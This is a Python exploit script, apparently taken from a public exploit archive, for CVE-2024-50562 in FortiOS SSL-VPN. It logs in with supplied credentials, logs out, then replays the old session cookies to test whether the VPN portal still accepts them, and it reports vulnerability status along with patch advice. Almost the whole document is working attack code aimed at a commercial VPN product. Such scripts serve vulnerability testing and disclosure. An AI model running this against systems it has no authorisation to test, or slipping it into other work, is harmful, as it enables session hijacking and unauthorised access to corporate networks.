
4 changes to exploits/shellcodes/ghdb FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) Microsoft Excel LTSC 2024 - Remote Code Execution (RCE)
312 lines
No EOL
12 KiB
Python
Executable file
312 lines
No EOL
12 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
"""
|
|
# Exploit Title: FortiOS SSL-VPN 7.4.4 - Insufficient Session Expiration & Cookie Reuse
|
|
# Date: 2025-06-15
|
|
# Exploit Author: Shahid Parvez Hakim (BugB Technologies)
|
|
# Vendor Homepage: https://www.fortinet.com
|
|
# Software Link: https://www.fortinet.com/products/secure-sd-wan/fortigate
|
|
# Version: FortiOS 7.6.0, 7.4.0-7.4.7, 7.2.0-7.2.10, 7.0.x (all), 6.4.x (all)
|
|
# Tested on: FortiOS 7.4.x, 7.2.x
|
|
# CVE: CVE-2024-50562
|
|
# CVSS: 4.4 (Medium)
|
|
# Category: Session Management
|
|
# CWE: CWE-613 (Insufficient Session Expiration)
|
|
|
|
Description:
|
|
An insufficient session expiration vulnerability in FortiOS SSL-VPN allows an attacker
|
|
to reuse stale session cookies after logout, potentially leading to unauthorized access.
|
|
The SVPNTMPCOOKIE remains valid even after the primary SVPNCOOKIE is invalidated during logout.
|
|
|
|
References:
|
|
- https://fortiguard.com/psirt/FG-IR-24-339
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2024-50562
|
|
|
|
Usage:
|
|
python3 fortinet_cve_2024_50562.py -t <target> -u <username> -p <password> [options]
|
|
|
|
Example:
|
|
python3 fortinet_cve_2024_50562.py -t 192.168.1.10:443 -u testuser -p testpass
|
|
python3 fortinet_cve_2024_50562.py -t 10.0.0.1:4433 -u admin -p password123 --realm users
|
|
"""
|
|
|
|
import argparse
|
|
import requests
|
|
import urllib3
|
|
import re
|
|
import sys
|
|
from urllib.parse import urlparse
|
|
|
|
# Disable SSL warnings for testing
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
class FortinetExploit:
|
|
def __init__(self, target, username, password, realm="", timeout=10, force=False):
|
|
self.target = target
|
|
self.username = username
|
|
self.password = password
|
|
self.realm = realm
|
|
self.timeout = timeout
|
|
self.force = force
|
|
self.base_url = f"https://{target}"
|
|
self.session = None
|
|
|
|
def banner(self):
|
|
"""Display exploit banner"""
|
|
print("=" * 70)
|
|
print("CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass")
|
|
print("Author: Shahid Parvez Hakim (BugB Technologies)")
|
|
print("CVSS: 4.4 (Medium) | FG-IR-24-339")
|
|
print("=" * 70)
|
|
print(f"Target: {self.target}")
|
|
print(f"User: {self.username}")
|
|
print("-" * 70)
|
|
|
|
def validate_target(self):
|
|
"""Check if target is reachable and is Fortinet SSL-VPN"""
|
|
try:
|
|
print("[*] Validating target...")
|
|
response = requests.get(f"{self.base_url}/remote/login",
|
|
verify=False, timeout=self.timeout)
|
|
|
|
# More flexible detection for Fortinet SSL-VPN
|
|
fortinet_indicators = [
|
|
"fortinet", "fortigate", "forticlient",
|
|
"sslvpn", "/remote/login", "SVPNCOOKIE",
|
|
"logincheck", "hostcheck_install",
|
|
"fgt_lang", "realm"
|
|
]
|
|
|
|
response_text = response.text.lower()
|
|
detected_indicators = [indicator for indicator in fortinet_indicators
|
|
if indicator in response_text]
|
|
|
|
if detected_indicators:
|
|
print(f"[+] Target confirmed as Fortinet SSL-VPN (indicators: {', '.join(detected_indicators[:3])})")
|
|
return True
|
|
elif response.status_code == 200:
|
|
print("[!] Target reachable but Fortinet detection uncertain - proceeding anyway")
|
|
return True
|
|
else:
|
|
print("[-] Target does not appear to be Fortinet SSL-VPN")
|
|
return False
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[-] Connection failed: {e}")
|
|
return False
|
|
|
|
def attempt_login(self):
|
|
"""Attempt to authenticate with provided credentials"""
|
|
try:
|
|
print("[*] Attempting authentication...")
|
|
|
|
self.session = requests.Session()
|
|
self.session.verify = False
|
|
|
|
# Get login page first
|
|
self.session.get(f"{self.base_url}/remote/login?lang=en", timeout=self.timeout)
|
|
|
|
# Attempt login
|
|
login_data = {
|
|
"ajax": "1",
|
|
"username": self.username,
|
|
"realm": self.realm,
|
|
"credential": self.password
|
|
}
|
|
|
|
headers = {"Content-Type": "application/x-www-form-urlencoded"}
|
|
|
|
response = self.session.post(f"{self.base_url}/remote/logincheck",
|
|
data=login_data, headers=headers,
|
|
timeout=self.timeout)
|
|
|
|
# Check if login was successful
|
|
if re.search(r"\bret=1\b", response.text) and "/remote/hostcheck_install" in response.text:
|
|
print("[+] Authentication successful!")
|
|
|
|
# Extract and display cookies
|
|
cookies = requests.utils.dict_from_cookiejar(response.cookies)
|
|
self.display_cookies(cookies, "Login")
|
|
|
|
return True, cookies
|
|
else:
|
|
print("[-] Authentication failed!")
|
|
print(f"[!] Server response: {response.text[:100]}...")
|
|
return False, {}
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[-] Login request failed: {e}")
|
|
return False, {}
|
|
|
|
def perform_logout(self):
|
|
"""Perform logout and check cookie invalidation"""
|
|
try:
|
|
print("[*] Performing logout...")
|
|
|
|
response = self.session.get(f"{self.base_url}/remote/logout", timeout=self.timeout)
|
|
cookies_after_logout = requests.utils.dict_from_cookiejar(response.cookies)
|
|
|
|
print("[+] Logout completed")
|
|
self.display_cookies(cookies_after_logout, "Logout")
|
|
|
|
return cookies_after_logout
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[-] Logout request failed: {e}")
|
|
return {}
|
|
|
|
def test_session_reuse(self, original_cookies):
|
|
"""Test if old session cookies still work after logout"""
|
|
try:
|
|
print("[*] Testing session cookie reuse...")
|
|
|
|
# Create new session to simulate attacker
|
|
exploit_session = requests.Session()
|
|
exploit_session.verify = False
|
|
|
|
# Use original login cookies
|
|
exploit_session.cookies.update(original_cookies)
|
|
|
|
# Try to access protected resource
|
|
test_url = f"{self.base_url}/sslvpn/portal.html"
|
|
response = exploit_session.get(test_url, timeout=self.timeout)
|
|
|
|
# Check if we're still authenticated
|
|
if self.is_authenticated_response(response.text):
|
|
print("[!] VULNERABILITY CONFIRMED!")
|
|
print("[!] Session cookies remain valid after logout")
|
|
print("[!] CVE-2024-50562 affects this system")
|
|
return True
|
|
else:
|
|
print("[+] Session properly invalidated")
|
|
print("[+] System appears to be patched")
|
|
return False
|
|
|
|
except requests.exceptions.RequestException as e:
|
|
print(f"[-] Session reuse test failed: {e}")
|
|
return False
|
|
|
|
def is_authenticated_response(self, response_body):
|
|
"""Check if response indicates authenticated access"""
|
|
# If response contains login form elements, user is not authenticated
|
|
if re.search(r"/remote/login|name=[\"']username[\"']", response_body, re.I):
|
|
return False
|
|
return True
|
|
|
|
def display_cookies(self, cookies, context):
|
|
"""Display cookies in a formatted way"""
|
|
if cookies:
|
|
print(f"[*] Cookies after {context}:")
|
|
for name, value in cookies.items():
|
|
# Truncate long values for display
|
|
display_value = value[:20] + "..." if len(value) > 20 else value
|
|
print(f" {name} = {display_value}")
|
|
|
|
# Highlight important cookies for CVE
|
|
if name == "SVPNTMPCOOKIE":
|
|
print(f" [!] Found SVPNTMPCOOKIE - Target for CVE-2024-50562")
|
|
elif name == "SVPNCOOKIE":
|
|
print(f" [*] Found SVPNCOOKIE - Primary session cookie")
|
|
else:
|
|
print(f"[*] No cookies set after {context}")
|
|
|
|
def exploit(self):
|
|
"""Main exploit routine"""
|
|
self.banner()
|
|
|
|
# Step 1: Validate target (unless forced to skip)
|
|
if not self.force:
|
|
if not self.validate_target():
|
|
print("[!] Use --force to skip target validation and proceed anyway")
|
|
return False
|
|
else:
|
|
print("[*] Skipping target validation (--force enabled)")
|
|
|
|
# Step 2: Attempt login
|
|
login_success, login_cookies = self.attempt_login()
|
|
if not login_success:
|
|
return False
|
|
|
|
# Step 3: Perform logout
|
|
logout_cookies = self.perform_logout()
|
|
|
|
# Step 4: Test session reuse
|
|
vulnerable = self.test_session_reuse(login_cookies)
|
|
|
|
# Step 5: Display results
|
|
print("\n" + "=" * 70)
|
|
print("EXPLOIT RESULTS")
|
|
print("=" * 70)
|
|
|
|
if vulnerable:
|
|
print("STATUS: VULNERABLE")
|
|
print("CVE-2024-50562: CONFIRMED")
|
|
print("SEVERITY: Medium (CVSS 4.4)")
|
|
print("\nRECOMMENDATIONS:")
|
|
print("- Upgrade to patched FortiOS version")
|
|
print("- FortiOS 7.6.x: Upgrade to 7.6.1+")
|
|
print("- FortiOS 7.4.x: Upgrade to 7.4.8+")
|
|
print("- FortiOS 7.2.x: Upgrade to 7.2.11+")
|
|
print("- FortiOS 7.0.x/6.4.x: Migrate to supported version")
|
|
else:
|
|
print("STATUS: NOT VULNERABLE")
|
|
print("CVE-2024-50562: NOT AFFECTED")
|
|
print("\nSystem appears to be patched or not vulnerable")
|
|
|
|
return vulnerable
|
|
|
|
def parse_target(target_string):
|
|
"""Parse target string and extract host:port"""
|
|
if ':' not in target_string:
|
|
# Default HTTPS port if not specified
|
|
return f"{target_string}:443"
|
|
return target_string
|
|
|
|
def main():
|
|
parser = argparse.ArgumentParser(
|
|
description="CVE-2024-50562 - Fortinet SSL-VPN Session Management Bypass Exploit",
|
|
formatter_class=argparse.RawDescriptionHelpFormatter,
|
|
epilog="""
|
|
Examples:
|
|
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password
|
|
python3 %(prog)s -t 10.0.0.1:4433 -u testuser -p test123 --realm employees
|
|
python3 %(prog)s -t vpn.company.com -u user@domain.com -p pass --timeout 15
|
|
python3 %(prog)s -t 192.168.1.10:443 -u admin -p password --force
|
|
"""
|
|
)
|
|
|
|
parser.add_argument('-t', '--target', required=True,
|
|
help='Target IP:PORT (e.g., 192.168.1.10:443)')
|
|
parser.add_argument('-u', '--username', required=True,
|
|
help='Username for authentication')
|
|
parser.add_argument('-p', '--password', required=True,
|
|
help='Password for authentication')
|
|
parser.add_argument('--realm', default='',
|
|
help='Authentication realm (optional)')
|
|
parser.add_argument('--timeout', type=int, default=10,
|
|
help='Request timeout in seconds (default: 10)')
|
|
parser.add_argument('--force', action='store_true',
|
|
help='Skip target validation and proceed anyway')
|
|
|
|
args = parser.parse_args()
|
|
|
|
# Parse and validate target
|
|
target = parse_target(args.target)
|
|
|
|
try:
|
|
# Initialize and run exploit
|
|
exploit = FortinetExploit(target, args.username, args.password,
|
|
args.realm, args.timeout, args.force)
|
|
vulnerable = exploit.exploit()
|
|
|
|
# Exit with appropriate code
|
|
sys.exit(0 if vulnerable else 1)
|
|
|
|
except KeyboardInterrupt:
|
|
print("\n[!] Exploit interrupted by user")
|
|
sys.exit(1)
|
|
except Exception as e:
|
|
print(f"[!] Unexpected error: {e}")
|
|
sys.exit(1)
|
|
|
|
if __name__ == "__main__":
|
|
main() |